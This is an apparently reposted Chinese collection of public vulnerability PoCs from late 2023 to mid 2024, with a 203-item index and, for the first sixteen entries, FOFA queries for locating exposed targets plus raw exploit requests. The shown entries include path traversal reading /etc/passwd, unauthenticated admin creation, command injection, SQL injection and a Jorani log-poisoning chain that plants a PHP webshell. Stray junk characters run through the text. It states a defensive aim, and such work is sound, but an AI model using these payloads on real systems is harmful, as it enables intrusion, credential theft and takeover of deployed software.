互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
$ g/ @& k, K0 |1 V* J% j道一安全 2024-06-05 07:41 北京
. c$ h( K4 G7 b1 P以下文章来源于网络安全新视界 ，作者网络安全新视界
) |4 i/ V+ n: R; e9 M4 M
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
+ ~+ j: L" v5 {8 C) ^' G
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
/ i* K) V+ X  f, n+ j$ x5 a
+ u; f3 C7 q: w) o安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
  p0 l$ n# O( o* f: r( P% `
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

6 G1 {. T' ]# Q, D/ w5 w合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
1 Y- H6 ~+ x" I+ O! U
; L9 n* w$ w4 f% u5 v5 k
$ p  Q! N; L& @% `& {声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

2 l7 N5 }1 d/ |) P6 i有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
, s* a4 ~2 s/ Q/ K- a' R
/ `/ [  _0 G/ W) L- J1 P# g

# s7 U/ e. x9 K5 }% N& {目录
6 [( o2 E9 }+ G, n4 A$ T
01

1. StarRocks MPP数据库未授权访问
3 w/ l6 h. ?' U$ z2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
0 C  y4 {1 Z$ b- }5. NUUO NVR 视频存储管理设备远程命令执行
; s; E; k2 |' T/ H  X6 c2 i9 H6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
' l  y, o- R) g. R( ?2 s! Z) o8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
, E9 h: P; z( d; M+ w( ]6 t10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
3 o1 K1 x1 P5 q4 v; u3 W/ N13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
. X( X5 P8 r- V1 q4 X18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
% k' t: S& ?& o21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
0 [$ W, ]7 x$ c23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
, ~  ?0 h; W. ^) I: E28. 用友NC grouptemplet 任意文件上传
5 J5 _* A3 C6 u/ P29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
% [; U0 Z4 g; W! \5 y9 X  w33. 用友NC downTax/download SQL注入
, v! V0 w( N1 r0 G7 m34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
7 w# m0 c8 V0 Z7 [, T% s' U45. 用友GRP-U8 ufgovbank XXE
5 y$ q6 F' H1 J' t, M( S46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. n7 y! l% n$ [4 K8 U; ?47. 用友GRP A++Cloud 政府财务云 任意文件读取
( l0 c$ U6 L# d1 P3 u* x48. 用友U8 CRM swfupload 任意文件上传
1 U: b3 k+ u) j" g& z) d49. 用友U8 CRM系统uploadfile.php接口任意文件上传
! n9 C, H/ [) K& T) L8 i50. QDocs Smart School 6.4.1 filterRecords SQL注入
$ T6 |/ H( a$ x6 ]# K1 R51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& |0 Y& E, Q8 _8 Z7 l' X: A+ j52. 泛微E-Office json_common.php sql注入
' i5 L2 _& _" ]% e53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
( C7 j5 h! M6 T56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. s  n; _+ O" v57. 畅捷通T+ keyEdit.aspx SQL注入
4 s/ R5 J, ^# E58. 畅捷通T+ KeyInfoList.aspx sql注入
. ~  h. @) ?+ T+ j59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
- d" G/ e+ N* E, N: z1 V$ S65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
0 W) S7 @/ D! f  H* X' e66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
/ I- q$ \( D2 }, D- K; g67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
* T+ y) m5 a! [: f- e70. 万户ezEIP success 命令执行
1 }$ Y1 k0 q. g3 ~/ r$ o71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
+ o$ ^8 A5 @5 V5 q74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
7 P) S2 S  o, h; x, ?77. F22服装管理软件系统UploadHandler.ashx任意文件上传
: W& J. R; o  [5 a5 @78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
; ?0 K4 p5 I( n' o, Y( `# W81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ {+ C* [' L! F8 l85. SysAid On-premise< 23.3.36远程代码执行
! h; \, g4 z. X' R: X2 f86. 日本tosei自助洗衣机RCE
. v3 z: P+ i9 D( t' k0 E- i; d87. 安恒明御安全网关aaa_local_web_preview文件上传
) P. l9 \6 e, s88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 S; _# G& `6 `) q+ Y( E, ^, z/ a90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ ]1 i6 m4 _. R  d% s2 k2 e3 v' _94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
& L9 A+ G8 ^1 E95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
0 d7 f1 I) t1 W# s0 P* ^8 j4 s% H97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
, T) t' W/ T; ?" j. U  r) f* i98. SpiderFlow爬虫平台远程命令执行
' ?3 A! P5 @9 {% w5 N- F99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
5 d3 j! {& S$ Z+ n0 s' s. Q+ G101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
. N) L3 |2 U$ X' x106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
& }, }5 E: l/ D; }8 E4 j1 ~109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
6 y' |) e& I# V% |5 B112. WordPress Plugin NotificationX SQL 注入
( E: R0 ]" k! {6 H: ^3 H113. WordPress Automatic 插件任意文件下载和SSRF
' x3 `* }1 M$ U. j& k+ X" l114. WordPress MasterStudy LMS插件 SQL注入
, c3 `( K  L1 Y115. WordPress Bricks Builder <= 1.9.6 RCE
  I! Q2 K& l* Z. i" ~4 q  X8 ?116. wordpress js-support-ticket文件上传
" S+ h* k& ?: j3 f1 r117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
, z" g" t9 F* T2 P$ o. O: |119. 北京百绰智能S20后台sysmanageajax.php sql注入
0 q2 z$ c/ m/ D3 x: W1 b* u5 h120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
. i+ V& D8 E1 L1 p122. 北京百绰智能s200管理平台/importexport.php sql注入
; R4 u; H( s/ D* d: B6 q# ^: S: l3 F123. Atlassian Confluence 模板注入代码执行
6 @3 `$ r& e7 [124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
9 J  _7 Q: Q3 D+ [  [, Q126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
1 B& \2 S8 W$ t& y! l9 L& N128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
5 t$ G3 ]4 ^2 D' d: e% `131. Mini-Tmall <=20231017 SQL注入
4 j. `. n2 K% T; P9 X0 x: ^132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
/ P8 `3 z, e' j* J134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
+ C% W1 _. S: c0 Z137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 C* ~! w2 [5 ~* P# i4 F140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
/ S; B# S" ~: {  f/ m141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 O" v7 u4 E5 v) e  [142. CMSV6车辆监控平台系统中存在弱密码
( L/ C3 A) ]6 T% u# C143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
0 F2 ]* m. z  n145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
8 b2 \; u* _3 K6 Q  c0 ~153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
* ?9 t) f' K3 x- m156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
8 m# @  Z9 R  d2 z( G8 Y158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
- L  ^7 `0 f9 w. g) u161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
$ M3 `# z( w8 U162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
! |  ~' D7 X5 |# I2 L1 b- X166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
+ l- Y7 Q9 g/ H* b) e171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
, h& _- M- V7 v/ B* e174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
3 V& J) l5 x5 a" }, r176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
1 P1 @( o$ P) G. F178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
7 ~1 N2 Y3 n9 T  ?) [! A180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
0 O3 O" u: X) A7 e- A$ d182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
" Q6 R$ c0 L- g: i184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
- w- ]2 l5 A+ a; I% ?187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
: l! `: l0 d9 k! k' E+ P) ?189. 蓝网科技临床浏览系统 deleteStudy SQL注入
7 y  F1 c3 Z) S) Y190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 s7 h7 v' Z, M8 B- V+ l4 X191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
4 F' ~2 q  t  Q  E- k192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
& y( h" l, N. L193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 `2 _& a' U: P" @5 f- B4 q* q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
% m* j$ N' r% Q$ p! E  T199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
+ o; u5 f# g( X$ A, M' q, U
POC列表

02
% r; f9 d7 ~; t, M
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
9 {, w5 N1 f! W) y. @! V0 a( bGET /mem_tracker HTTP/1.1
; ^- w7 r! @/ T8 {8 |. l8 qHost: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
9 Z8 ]/ q' S0 n4 S1 p% vHost: xx.xx.xx.xx:9999
$ {! @* C! Z; f& G' SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 F' E+ ^% K9 E, K& zConnection: close
6 }  }5 O$ U/ B# ?' Q) S/ WAccept: */*
  r: V- [# n+ d& o1 k! H- g* ?Accept-Language: en
Accept-Encoding: gzip


9 z& `; m7 \; t4 @. o' \" ?: N2 W3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
$ y' L* ^0 {' {* [9 Y) w5 x6 UGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
; F/ R9 s* Z+ v, T! oHost: xx.xx.xx.xx

4 V& ]- m1 V$ n% P8 x- R4 ?& s
4. EasyCVR视频管理平台存在任意用户添加
  F. R; F, A; s; X- ^5 f2 `FOFA ：title="EasyCVR"
1 ]. d+ i- j1 `2 |
password更改为自己的密码md5
) v2 y) s6 _2 i8 k+ DPOST /api/v1/adduser HTTP/1.1
( ?5 m; U# ^0 G! t: rHost: your-ip
* }5 E8 a5 E( X- {* Q: SContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 |* r) m, \/ Q
  t: L" u5 I2 Bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
5 W4 [  M7 D, ?5 W- K% s4 }

2 x: M# C- S' J8 x5. NUUO NVR 视频存储管理设备远程命令执行
8 G- d5 }. p0 L6 Z; [: D$ CFOFA：title="Network Video Recorder Login"
" p9 ]  |1 O. n; [2 f' zGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
% f+ e  V8 a3 M! lGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
; E: D, ?; m/ l3 {8 {3 q/ Q4 ]Host:
" y( J! d9 o+ W) d; \/ m
, g3 l" x/ w# t/ i2 a1 s/ c5 Y
7. 鸿运主动安全监控云平台任意文件下载
# D: H: P4 J" y, p* |+ C& cFOFA：body="./open/webApi.html"
' V/ D: J; E3 `GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
5 v! P" q3 z, ]& T# B$ v4 F: u$ nHost:


8. 斐讯 Phicomm 路由器RCE
6 _- q* J; @/ E  e* }FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
! v4 S% |$ `! Y( L0 |9 M/ }8 PCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
, j% ^* J) o  @9 C# @, A0 S8 lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
. N$ P1 R' e* p; j4 q
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

* g' q* u8 K% X; n: Z5 W+ @12:00; id;
------WebKitFormBoundaryxbgjoytz
4 P% S! i3 L! l* ~Content-Disposition: form-data; name="wifiRebootendrange"

%s:
% S& m; q( f. n9 E------WebKitFormBoundaryxbgjoytz
* M, t6 I7 O/ _" V$ V' |Content-Disposition: form-data; name="cururl2"

- x4 P: U' ~( s5 I8 |8 d+ C
------WebKitFormBoundaryxbgjoytz--
# {6 }/ [! u5 X; _$ O/ ^5 {1 P

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
6 @% [* ~  f) I2 ]4 `, h4 @6 }GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

, v7 d7 R, S7 ?! W% _1 u+ d) m4 T
4 d) n( e- p" u, }5 j" {payload为下列语句的二次Url编码
/ ]# x8 ^: x1 u9 e0 V7 E5 G
! I* J+ C2 U4 b3 T3 [' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

3 s6 K# |# o" ^2 h9 s/ ^, F10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
7 N1 a4 U* [; YFOFA：icon_hash="953405444"

' c- i/ m' X+ a: A8 s% ^文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
4 B  i- f) e, |: l2 t8 v. p* A$ cHost: x.x.x.x:xx
6 j" Q* ]6 ]* |, C5 R* KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
4 B: V9 I% ?+ ?/ i8 U7 QContent-Length: 197
- E1 @9 y; [  t, N* f* D7 E  cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* p' H+ M" ?3 T" J* w6 ZAccept-Encoding: gzip, deflate
  Q" V6 u) e7 t  E- MAccept-Language: zh-CN,zh;q=0.9
Connection: close
, m  g, ?# Y+ m" H- N5 g) KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
- o0 N1 E) |9 M- r% _
jmnqjfdsupxgfidopeixbgsxbf
9 c: Z0 ]$ U7 X------WebKitFormBoundaryxdgaqmqu--

  i  r2 ~% X' A4 \+ J$ X8 F- t
/ ~; t) K6 e, V& u11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
& j/ n2 Y; C, q: W2 I4 x1 bPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
( N! c9 l. T9 a$ r4 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 [# ?5 a/ U3 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
1 I* J( L! I6 m) {# W2 ?! m
  s# @; K  p: E7 ]
1 D- J" ~0 g/ P' {4 [2 Y) {12. Jorani < 1.0.2 远程命令执行
( c/ q/ u- w' V& E) x8 @, pFOFA：title="Jorani"
6 M$ o2 N5 P& w) Y7 l. x7 u2 U# ~第一步先拿到cookie
GET /session/login HTTP/1.1
8 ~2 e2 L8 A4 v$ X% o* d. ^! vHost: 192.168.190.30
' |) B* x- R. q) C- \1 |4 NUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

. U& p- @/ {6 d
响应中csrf_cookie_jorani用于后续请求
$ D2 S$ x, _) pHTTP/1.1 200 OK
1 B% H+ a0 {# a; T" M: o" OConnection: close
Cache-Control: no-store, no-cache, must-revalidate
6 [+ J4 N+ w5 ]. P$ \0 V5 jContent-Type: text/html; charset=UTF-8
+ G0 D6 c) L6 T/ n! k2 YDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
" f6 M  k2 X3 s) N! uPragma: no-cache
% }; X: J' b- m( A, P1 |/ cServer: Apache/2.4.54 (Debian)
, C$ a2 X4 L5 e# v- K( t6 ASet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
% M; P# u6 i! Y5 s7 ^  j4 ^5 iVary: Accept-Encoding


POST请求，执行函数并进行base64编码
1 r4 s0 o; b" N2 L0 F- O3 yPOST /session/login HTTP/1.1
5 k; F5 @. I1 |# vHost: 192.168.190.30
8 m1 R( _* e2 r* L: X+ g9 G, ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 r+ G5 a* ^3 C5 {0 ~: ~, a+ wConnection: close
Content-Length: 252
+ e& |, y) z; ~. N3 {4 J8 UContent-Type: application/x-www-form-urlencoded
7 a$ ?6 ~5 X( x2 I# ACookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
  l$ x. `- X4 `) uAccept-Encoding: gzip

  I# ~& W6 X6 t. jcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

3 t' g$ W# w" z0 ^6 G

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
& o' f6 O& P* h" @7 _% dGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
: H. c$ w3 W0 y- {6 vK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
! B: w. o1 E+ l1 q9 [0 R! z+ s* EFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
+ U& C, t4 o$ x5 OHost: x.x.x.x
/ G. Y2 l# j+ \% j  N: _8 a: K3 l& }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 V0 U9 T, w5 t- q4 S" XConnection: close
9 @" h* _: ?0 o$ F, iAccept: */*
Accept-Encoding: gzip
" r: n7 F; x) g( b/ }& x; d" H9 B

7 N7 Z+ L1 V: y9 I14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
3 Z+ I8 `% t8 p, j9 w泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
8 p9 T! G0 y/ G! H9 M. oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
! P0 f, ^% T6 w% e9 M+ y- PConnection: close
7 T8 n1 R" B% _: [9 x0 K& UAccept: */*
Accept-Language: en
. |0 k5 O" B& h2 _) e( L/ u* ]Accept-Encoding: gzip
) E' e$ {" ?4 Y/ u9 ~

15. 华夏ERP getAllList信息泄露
8 u* |; i! e9 x: @; U) E( [& @CVE-2024-0490
+ \7 p7 F1 [- \' _1 ]& g: ^$ fFOFA：body="jshERP-boot"
) R2 G& s; o: p6 l* i" _泄露内容包括用户名密码
6 \- M' R) g: sGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
1 o2 W' ^2 F- O4 p' h1 K' {7 Z' Q3 w1 jHost: 192.168.40.130:100
# R9 O  E# r0 O2 ?  e1 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. ?- n7 _3 C9 ~$ t6 R  l+ CConnection: close
9 v. f; m# `. y  v$ |9 u: l4 hAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
1 u, V% ~1 `7 g" @Accept-Language: en
sec-ch-ua-platform: Windows
- x" [2 p1 r4 J1 ]0 T3 c# TAccept-Encoding: gzip
6 i( ?/ ?" e/ D( G# q1 R

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
